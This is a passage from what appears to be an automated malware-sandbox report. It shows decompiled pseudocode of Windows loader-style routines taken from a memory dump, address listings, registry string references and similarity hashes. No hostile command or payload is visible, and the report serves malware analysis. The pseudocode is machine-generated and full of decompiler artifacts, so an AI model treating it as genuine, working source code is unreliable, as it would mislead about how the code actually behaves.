								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x00bee620
0x00bee628
0x00bee62f
0x00bee631
0x00bee635
0x00bee637
0x00bee63e
0x00c45503
0x00c45503
0x00bee64c
0x00bee64c
0x00bee651
0x00000000
0x00000000
0x00bee661
0x00bee665
0x00c4542a
0x00bee715
0x00bee71a
0x00bee71c
0x00bee720
0x00bee720
0x00bee727
0x00bee736
0x00bee736
0x00bee743
0x00bee743
0x00bee673
0x00bee678
0x00bee67d
0x00bee682
0x00bee685
0x00bee692
0x00bee69b
0x00bee6a3
0x00bee6ad
0x00bee6b1
0x00bee6b2
0x00bee6bb
0x00bee6bf
0x00bee6c0
0x00bee6c8
0x00bee6cc
0x00bee6d5
0x00bee6d9
0x00000000
0x00000000
0x00bee6e5
0x00bee6ea
0x00bee6f9
0x00bee70b
0x00bee70f
0x00c45439
0x00c4545e
0x00c4545e
0x00000000
0x00c4545e
0x00c4543b
0x00c4543e
0x00c45440
0x00c45445
0x00c45472
0x00c45475
0x00c4548d
0x00c45493
0x00c454a9
0x00000000
0x00000000
0x00c454ab
0x00c454b4
0x00c454bc
0x00c454c8
0x00c454de
0x00c454fb
0x00c454e0
0x00c454e6
0x00c454eb
0x00c454eb
0x00c454de
0x00000000
0x00c454bc
0x00c45477
0x00c4547a
0x00c45480
0x00c45483
0x00c45486
0x00c4548b
0x00000000
0x00000000
0x00000000
0x00c4548b
0x00000000
0x00000000
0x00000000
0x00000000
0x00c45447
0x00c45447
0x00c45447
0x00c45447
0x00c4544e
0x00000000
0x00000000
0x00c45450
0x00c45452
0x00c45455
0x00c4545a
0x00000000
0x00000000
0x00000000
0x00c4545c
0x00c4546a
0x00c4546d
0x00c4546f
0x00000000
0x00c4546f
0x00bee70f

Strings

\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 00BEE68C
@, xrefs: 00BEE6C0
InstallLanguageFallback, xrefs: 00BEE6DB

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 85db80f2ec4a9f1cc9c2b43038f4cc1d562194b8e03974e7ce4a723230d04c0a
Instruction ID: a24966cf3fe4704fee1b9e08950626fe4a90f3326fdebaf0683ac40a267cbd91
Opcode Fuzzy Hash: 85db80f2ec4a9f1cc9c2b43038f4cc1d562194b8e03974e7ce4a723230d04c0a
Instruction Fuzzy Hash: 8451BCB65087559BC710DF25C480A6BB3E8BF88714F04096EF995DB241FB34DE44C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00BFD5E0, Relevance: 2.9, Strings: 2, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00BFD5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0xcdd360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E00BF6600(0xcd52d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0xcd7b9c; // 0x0
							_t281 = L00C04620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E00C2F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0xcd7b90; // 0x770b0000
								if(_t384 == 0) {
									_t353 =  *0xcd7b8c; // 0x782a40
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E00C02280(_t200, 0xcd84d8);
									_t277 =  *0xcd85f4; // 0x782f30
									_t351 =  *0xcd85f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x782ec8
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E00BFFFB0(_t287, _t353, 0xcd84d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E00C3CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E00BF6600(0xcd52d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E00BF7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0xcdb239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E00C6E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0xcd8472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														asm("ror edi, cl");
														 *0xcdb1e0( &_v192, _t353, _v168, 0, _v180);
														 *( *0xcdb218 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E00C02280(_t250, 0xcd84d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L00C23898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E00BFFFB0(_t293, _t353, 0xcd84d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E00C237F5(_t353, 0);
																}
																E00C20413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E00C19B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E00C102D6(_t174);
																}
																L00C077F0( *0xcd7b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E00C1C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L00BFEC7F(_t353);
										L00C119B8(_t287, 0, _t353, 0);
										_t200 = E00BEF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0 || ( *0xcdb2f8 |  *0xcdb2fc) == 0 || ( *0xcdb2e4 & 0x00000001) != 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E00C2B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_v200 = 0;
									if(( *0xcdb2ec >> 0x00000008 & 0x00000003) == 3) {
										_t355 = _v168;
										_t342 =  &_v208;
										_t208 = E00C96B68(_v168,  &_v208, _v168, __eflags);
										__eflags = _t208 - 1;
										if(_t208 == 1) {
											goto L46;
										} else {
											__eflags = _v208 & 0x00000010;
											if((_v208 & 0x00000010) == 0) {
												goto L46;
											} else {
												_t342 = 4;
												_t366 = E00C96AEB(_t355, 4,  &_v216);
												__eflags = _t366;
												if(_t366 >= 0) {
													goto L46;
												} else {
													asm("int 0x29");
													_t356 = 0;
													_v44 = 0;
													_t290 = _v52;
													__eflags = 0;
													if(0 == 0) {
														L108:
														_t356 = 0;
														_v44 = 0;
														goto L63;
													} else {
														__eflags = 0;
														if(0 < 0) {
															goto L108;
														}
														L63:
														_v112 = _t356;
														__eflags = _t356;
														if(_t356 == 0) {
															L143:
															_v8 = 0xfffffffe;
															_t211 = 0xc0000089;
														} else {
															_v36 = 0;
															_v60 = 0;
															_v48 = 0;
															_v68 = 0;
															_v44 = _t290 & 0xfffffffc;
															E00BFE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
															_t306 = _v68;
															__eflags = _t306;
															if(_t306 == 0) {
																_t216 = 0xc000007b;
																_v36 = 0xc000007b;
																_t307 = _v60;
															} else {
																__eflags = _t290 & 0x00000001;
																if(__eflags == 0) {
																	_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																	__eflags = _t349 - 0x10b;
																	if(_t349 != 0x10b) {
																		__eflags = _t349 - 0x20b;
																		if(_t349 == 0x20b) {
																			goto L102;
																		} else {
																			_t307 = 0;
																			_v48 = 0;
																			_t216 = 0xc000007b;
																			_v36 = 0xc000007b;
																			goto L71;
																		}
																	} else {
																		L102:
																		_t307 =  *(_t306 + 0x50);
																		goto L69;
																	}
																	goto L151;
																} else {
																	_t239 = L00BFEAEA(_t290, _t290, _t356, _t366, __eflags);
																	_t307 = _t239;
																	_v60 = _t307;
																	_v48 = _t307;
																	__eflags = _t307;
																	if(_t307 != 0) {
																		L70:
																		_t216 = _v36;
																	} else {
																		_push(_t239);
																		_push(0x14);
																		_push( &_v144);
																		_push(3);
																		_push(_v44);
																		_push(0xffffffff);
																		_t319 = E00C29730();
																		_v36 = _t319;
																		__eflags = _t319;
																		if(_t319 < 0) {
																			_t216 = 0xc000001f;
																			_v36 = 0xc000001f;
																			_t307 = _v60;
																		} else {
																			_t307 = _v132;
																			L69:
																			_v48 = _t307;
																			goto L70;
																		}
																	}
																}
															}
															L71:
															_v72 = _t307;
															_v84 = _t216;
															__eflags = _t216 - 0xc000007b;
															if(_t216 == 0xc000007b) {
																L150:
																_v8 = 0xfffffffe;
																_t211 = 0xc000007b;
															} else {
																_t344 = _t290 & 0xfffffffc;
																_v76 = _t344;
																__eflags = _v40 - _t344;
																if(_v40 <= _t344) {
																	goto L150;
																} else {
																	__eflags = _t307;
																	if(_t307 == 0) {
																		L75:
																		_t217 = 0;
																		_v104 = 0;
																		__eflags = _t366;
																		if(_t366 != 0) {
																			__eflags = _t290 & 0x00000001;
																			if((_t290 & 0x00000001) != 0) {
																				_t217 = 1;
																				_v104 = 1;
																			}
																			_t290 = _v44;
																			_v52 = _t290;
																		}
																		__eflags = _t217 - 1;
																		if(_t217 != 1) {
																			_t369 = 0;
																			_t218 = _v40;
																			goto L91;
																		} else {
																			_v64 = 0;
																			E00BFE9C0(1, _t290, 0, 0,  &_v64);
																			_t309 = _v64;
																			_v108 = _t309;
																			__eflags = _t309;
																			if(_t309 == 0) {
																				goto L143;
																			} else {
																				_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																				__eflags = _t226 - 0x10b;
																				if(_t226 != 0x10b) {
																					__eflags = _t226 - 0x20b;
																					if(_t226 != 0x20b) {
																						goto L143;
																					} else {
																						_t371 =  *(_t309 + 0x98);
																						goto L83;
																					}
																				} else {
																					_t371 =  *(_t309 + 0x88);
																					L83:
																					__eflags = _t371;
																					if(_t371 != 0) {
																						_v80 = _t371 - _t356 + _t290;
																						_t310 = _v64;
																						_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																						_t292 =  *(_t310 + 6) & 0x0000ffff;
																						_t311 = 0;
																						__eflags = 0;
																						while(1) {
																							_v120 = _t311;
																							_v116 = _t348;
																							__eflags = _t311 - _t292;
																							if(_t311 >= _t292) {
																								goto L143;
																							}
																							_t359 =  *((intOrPtr*)(_t348 + 0xc));
																							__eflags = _t371 - _t359;
																							if(_t371 < _t359) {
																								L98:
																								_t348 = _t348 + 0x28;
																								_t311 = _t311 + 1;
																								continue;
																							} else {
																								__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																								if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																									goto L98;
																								} else {
																									__eflags = _t348;
																									if(_t348 == 0) {
																										goto L143;
																									} else {
																										_t218 = _v40;
																										_t312 =  *_t218;
																										__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																										if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																											_v100 = _t359;
																											_t360 = _v108;
																											_t372 = L00BF8F44(_v108, _t312);
																											__eflags = _t372;
																											if(_t372 == 0) {
																												goto L143;
																											} else {
																												_t290 = _v52;
																												_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E00C23C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																												_t307 = _v72;
																												_t344 = _v76;
																												_t218 = _v40;
																												goto L91;
																											}
																										} else {
																											_t290 = _v52;
																											_t307 = _v72;
																											_t344 = _v76;
																											_t369 = _v80;
																											L91:
																											_t358 = _a4;
																											__eflags = _t358;
																											if(_t358 == 0) {
																												L95:
																												_t308 = _a8;
																												__eflags = _t308;
																												if(_t308 != 0) {
																													 *_t308 =  *((intOrPtr*)(_v40 + 4));
																												}
																												_v8 = 0xfffffffe;
																												_t211 = _v84;
																											} else {
																												_t370 =  *_t218 - _t369 + _t290;
																												 *_t358 = _t370;
																												__eflags = _t370 - _t344;
																												if(_t370 <= _t344) {
																													L149:
																													 *_t358 = 0;
																													goto L150;
																												} else {
																													__eflags = _t307;
																													if(_t307 == 0) {
																														goto L95;
																													} else {
																														__eflags = _t370 - _t344 + _t307;
																														if(_t370 >= _t344 + _t307) {
																															goto L149;
																														} else {
																															goto L95;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L97;
																						}
																					}
																					goto L143;
																				}
																			}
																		}
																	} else {
																		__eflags = _v40 - _t307 + _t344;
																		if(_v40 >= _t307 + _t344) {
																			goto L150;
																		} else {
																			goto L75;
																		}
																	}
																}
															}
														}
														L97:
														 *[fs:0x0] = _v20;
														return _t211;
													}
												}
											}
										}
									} else {
										goto L46;
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x00bfd5f2
0x00bfd5f5
0x00bfd5f5
0x00bfd5fd
0x00bfd600
0x00bfd60a
0x00bfd60d
0x00bfd617
0x00bfd61d
0x00bfd627
0x00bfd62e
0x00bfd911
0x00bfd913
0x00000000
0x00bfd919
0x00bfd919
0x00bfd919
0x00bfd634
0x00bfd634
0x00bfd634
0x00bfd634
0x00bfd640
0x00bfd8bf
0x00000000
0x00bfd646
0x00bfd646
0x00bfd64d
0x00bfd652
0x00c4b2fc
0x00c4b2fc
0x00c4b302
0x00c4b33b
0x00c4b341
0x00000000
0x00c4b304
0x00c4b304
0x00c4b319
0x00c4b31e
0x00c4b324
0x00c4b326
0x00c4b332
0x00c4b347
0x00c4b34c
0x00c4b351
0x00c4b35a
0x00000000
0x00c4b328
0x00c4b328
0x00000000
0x00c4b328
0x00c4b326
0x00bfd658
0x00bfd658
0x00bfd65b
0x00bfd665
0x00000000
0x00bfd66b
0x00bfd66b
0x00bfd66b
0x00bfd66b
0x00bfd66d
0x00bfd672
0x00bfd67a
0x00000000
0x00000000
0x00bfd680
0x00bfd686
0x00bfd8ce
0x00bfd8d4
0x00bfd8dd
0x00bfd8e0
0x00bfd68c
0x00bfd691
0x00bfd69d
0x00bfd6a2
0x00bfd6a7
0x00bfd6b0
0x00bfd6b5
0x00bfd6e0
0x00bfd6b7
0x00bfd6b7
0x00bfd6b9
0x00bfd6b9
0x00bfd6bb
0x00bfd6bd
0x00bfd6ce
0x00bfd6d0
0x00bfd6d2
0x00c4b363
0x00c4b365
0x00000000
0x00c4b36b
0x00000000
0x00c4b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00bfd6bf
0x00bfd6bf
0x00bfd6e5
0x00bfd6e7
0x00bfd6e9
0x00bfd6ec
0x00bfd6ec
0x00bfd6ef
0x00bfd6f5
0x00bfd6f9
0x00bfd6fb
0x00bfd6fd
0x00bfd701
0x00bfd703
0x00bfd70a
0x00bfd70a
0x00bfd701
0x00bfd710
0x00bfd710
0x00bfd6c1
0x00bfd6c1
0x00bfd6c6
0x00c4b36d
0x00c4b36f
0x00000000
0x00c4b375
0x00c4b375
0x00c4b375
0x00000000
0x00c4b375
0x00000000
0x00bfd6cc
0x00bfd6d8
0x00bfd6d8
0x00bfd6d8
0x00000000
0x00bfd6c6
0x00bfd6bf
0x00000000
0x00bfd6da
0x00bfd6da
0x00bfd716
0x00bfd71b
0x00bfd720
0x00bfd726
0x00bfd726
0x00bfd72d
0x00000000
0x00bfd733
0x00bfd739
0x00bfd742
0x00bfd750
0x00bfd758
0x00bfd764
0x00bfd776
0x00bfd77a
0x00bfd783
0x00bfd928
0x00bfd92c
0x00bfd93d
0x00bfd944
0x00bfd94f
0x00bfd954
0x00bfd956
0x00bfd95f
0x00bfd961
0x00bfd973
0x00bfd973
0x00bfd956
0x00bfd944
0x00bfd92c
0x00bfd78b
0x00c4b394
0x00bfd791
0x00bfd798
0x00c4b3a3
0x00c4b3bb
0x00c4b3bb
0x00bfd7a5
0x00bfd866
0x00bfd870
0x00bfd892
0x00bfd898
0x00bfd89e
0x00bfd8a0
0x00bfd8a6
0x00bfd8ac
0x00bfd8ae
0x00bfd8b4
0x00bfd8b4
0x00bfd8ae
0x00bfd7a5
0x00bfd78b
0x00bfd7b1
0x00c4b3c5
0x00c4b3c5
0x00bfd7c3
0x00bfd7ca
0x00bfd7e5
0x00bfd7eb
0x00bfd8eb
0x00bfd8ed
0x00000000
0x00bfd8f3
0x00bfd8f3
0x00bfd8f3
0x00000000
0x00bfd8ed
0x00bfd7cc
0x00bfd7cc
0x00bfd7d2
0x00000000
0x00bfd7d4
0x00bfd7d4
0x00bfd7d7
0x00bfd7df
0x00c4b3d4
0x00c4b3d9
0x00c4b3dc
0x00c4b3dc
0x00c4b3df
0x00c4b3e2
0x00c4b468
0x00c4b46d
0x00c4b46f
0x00c4b46f
0x00c4b475
0x00bfd8f8
0x00bfd8f9
0x00bfd8fd
0x00c4b3e8
0x00c4b3e8
0x00c4b3eb
0x00c4b3ed
0x00000000
0x00c4b3ef
0x00c4b3ef
0x00c4b3f1
0x00c4b3f4
0x00c4b3fe
0x00c4b404
0x00c4b409
0x00c4b40e
0x00c4b410
0x00c4b410
0x00c4b414
0x00c4b414
0x00c4b41b
0x00c4b420
0x00c4b423
0x00c4b425
0x00c4b427
0x00c4b42a
0x00c4b42d
0x00c4b42d
0x00c4b42a
0x00c4b432
0x00c4b436
0x00c4b438
0x00c4b43b
0x00c4b43b
0x00c4b449
0x00c4b44e
0x00c4b454
0x00c4b458
0x00c4b458
0x00c4b45d
0x00000000
0x00c4b45d
0x00c4b3ed
0x00000000
0x00000000
0x00000000
0x00bfd7df
0x00bfd7d2
0x00bfd7ca
0x00c4b37c
0x00c4b37e
0x00c4b385
0x00c4b38a
0x00000000
0x00c4b38a
0x00bfd742
0x00bfd7f1
0x00bfd7f8
0x00c4b49b
0x00c4b49b
0x00bfd800
0x00bfd837
0x00bfd843
0x00bfd845
0x00bfd847
0x00bfd84a
0x00bfd84b
0x00bfd84e
0x00bfd857
0x00bfd818
0x00bfd824
0x00bfd831
0x00c4b4a5
0x00c4b4ab
0x00c4b4b3
0x00c4b4b8
0x00c4b4bb
0x00000000
0x00c4b4c1
0x00c4b4c1
0x00c4b4c8
0x00000000
0x00c4b4ce
0x00c4b4d4
0x00c4b4e1
0x00c4b4e3
0x00c4b4e5
0x00000000
0x00c4b4eb
0x00c4b4f0
0x00c4b4f2
0x00bfdac9
0x00bfdacc
0x00bfdacf
0x00bfdad1
0x00bfdd78
0x00bfdd78
0x00bfdcf2
0x00000000
0x00bfdad7
0x00bfdad9
0x00bfdadb
0x00000000
0x00000000
0x00bfdae1
0x00bfdae1
0x00bfdae4
0x00bfdae6
0x00c4b4f9
0x00c4b4f9
0x00c4b500
0x00bfdaec
0x00bfdaec
0x00bfdaf5
0x00bfdaf8
0x00bfdafb
0x00bfdb03
0x00bfdb11
0x00bfdb16
0x00bfdb19
0x00bfdb1b
0x00c4b52c
0x00c4b531
0x00c4b534
0x00bfdb21
0x00bfdb21
0x00bfdb24
0x00bfdcd9
0x00bfdce2
0x00bfdce5
0x00bfdd6a
0x00bfdd6d
0x00000000
0x00bfdd73
0x00c4b51a
0x00c4b51c
0x00c4b51f
0x00c4b524
0x00000000
0x00c4b524
0x00bfdce7
0x00bfdce7
0x00bfdce7
0x00000000
0x00bfdce7
0x00000000
0x00bfdb2a
0x00bfdb2c
0x00bfdb31
0x00bfdb33
0x00bfdb36
0x00bfdb39
0x00bfdb3b
0x00bfdb66
0x00bfdb66
0x00bfdb3d
0x00bfdb3d
0x00bfdb3e
0x00bfdb46
0x00bfdb47
0x00bfdb49
0x00bfdb4c
0x00bfdb53
0x00bfdb55
0x00bfdb58
0x00bfdb5a
0x00c4b50a
0x00c4b50f
0x00c4b512
0x00bfdb60
0x00bfdb60
0x00bfdb63
0x00bfdb63
0x00000000
0x00bfdb63
0x00bfdb5a
0x00bfdb3b
0x00bfdb24
0x00bfdb69
0x00bfdb69
0x00bfdb6c
0x00bfdb6f
0x00bfdb74
0x00c4b557
0x00c4b557
0x00c4b55e
0x00bfdb7a
0x00bfdb7c
0x00bfdb7f
0x00bfdb82
0x00bfdb85
0x00000000
0x00bfdb8b
0x00bfdb8b
0x00bfdb8d
0x00bfdb9b
0x00bfdb9b
0x00bfdb9d
0x00bfdba0
0x00bfdba2
0x00bfdba4
0x00bfdba7
0x00bfdba9
0x00bfdbae
0x00bfdbae
0x00bfdbb1
0x00bfdbb4
0x00bfdbb4
0x00bfdbb7
0x00bfdbba
0x00bfdcd2
0x00bfdcd4
0x00000000
0x00bfdbc0
0x00bfdbc0
0x00bfdbd2
0x00bfdbd7
0x00bfdbda
0x00bfdbdd
0x00bfdbdf
0x00000000
0x00bfdbe5
0x00bfdbe5
0x00bfdbee
0x00bfdbf1
0x00c4b541
0x00c4b544
0x00000000
0x00c4b546
0x00c4b546
0x00000000
0x00c4b546
0x00bfdbf7
0x00bfdbf7
0x00bfdbfd
0x00bfdbfd
0x00bfdbff
0x00bfdc0b
0x00bfdc15
0x00bfdc1b
0x00bfdc1d
0x00bfdc21
0x00bfdc21
0x00bfdc23
0x00bfdc23
0x00bfdc26
0x00bfdc29
0x00bfdc2b
0x00000000
0x00000000
0x00bfdc31
0x00bfdc34
0x00bfdc36
0x00bfdcbf
0x00bfdcbf
0x00bfdcc2
0x00000000
0x00bfdc3c
0x00bfdc41
0x00bfdc43
0x00000000
0x00bfdc45
0x00bfdc45
0x00bfdc47
0x00000000
0x00bfdc4d
0x00bfdc4d
0x00bfdc50
0x00bfdc52
0x00bfdc55
0x00bfdcfa
0x00bfdcfe
0x00bfdd08
0x00bfdd0a
0x00bfdd0c
0x00000000
0x00bfdd12
0x00bfdd15
0x00bfdd2d
0x00bfdd2f
0x00bfdd32
0x00bfdd35
0x00000000
0x00bfdd35
0x00bfdc5b
0x00bfdc5b
0x00bfdc5e
0x00bfdc61
0x00bfdc64
0x00bfdc67
0x00bfdc67
0x00bfdc6a
0x00bfdc6c
0x00bfdc8e
0x00bfdc8e
0x00bfdc91
0x00bfdc93
0x00bfdcce
0x00bfdcce
0x00bfdc95
0x00bfdc9c
0x00bfdc6e
0x00bfdc72
0x00bfdc75
0x00bfdc77
0x00bfdc79
0x00c4b551
0x00c4b551
0x00000000
0x00bfdc7f
0x00bfdc7f
0x00bfdc81
0x00000000
0x00bfdc83
0x00bfdc86
0x00bfdc88
0x00000000
0x00000000
0x00000000
0x00000000
0x00bfdc88
0x00bfdc81
0x00bfdc79
0x00bfdc6c
0x00bfdc55
0x00bfdc47
0x00bfdc43
0x00000000
0x00bfdc36
0x00bfdc23
0x00000000
0x00bfdbff
0x00bfdbf1
0x00bfdbdf
0x00bfdb8f
0x00bfdb92
0x00bfdb95
0x00000000
0x00000000
0x00000000
0x00000000
0x00bfdb95
0x00bfdb8d
0x00bfdb85
0x00bfdb74
0x00bfdc9f
0x00bfdca2
0x00bfdcb0
0x00bfdcb0
0x00bfdad1
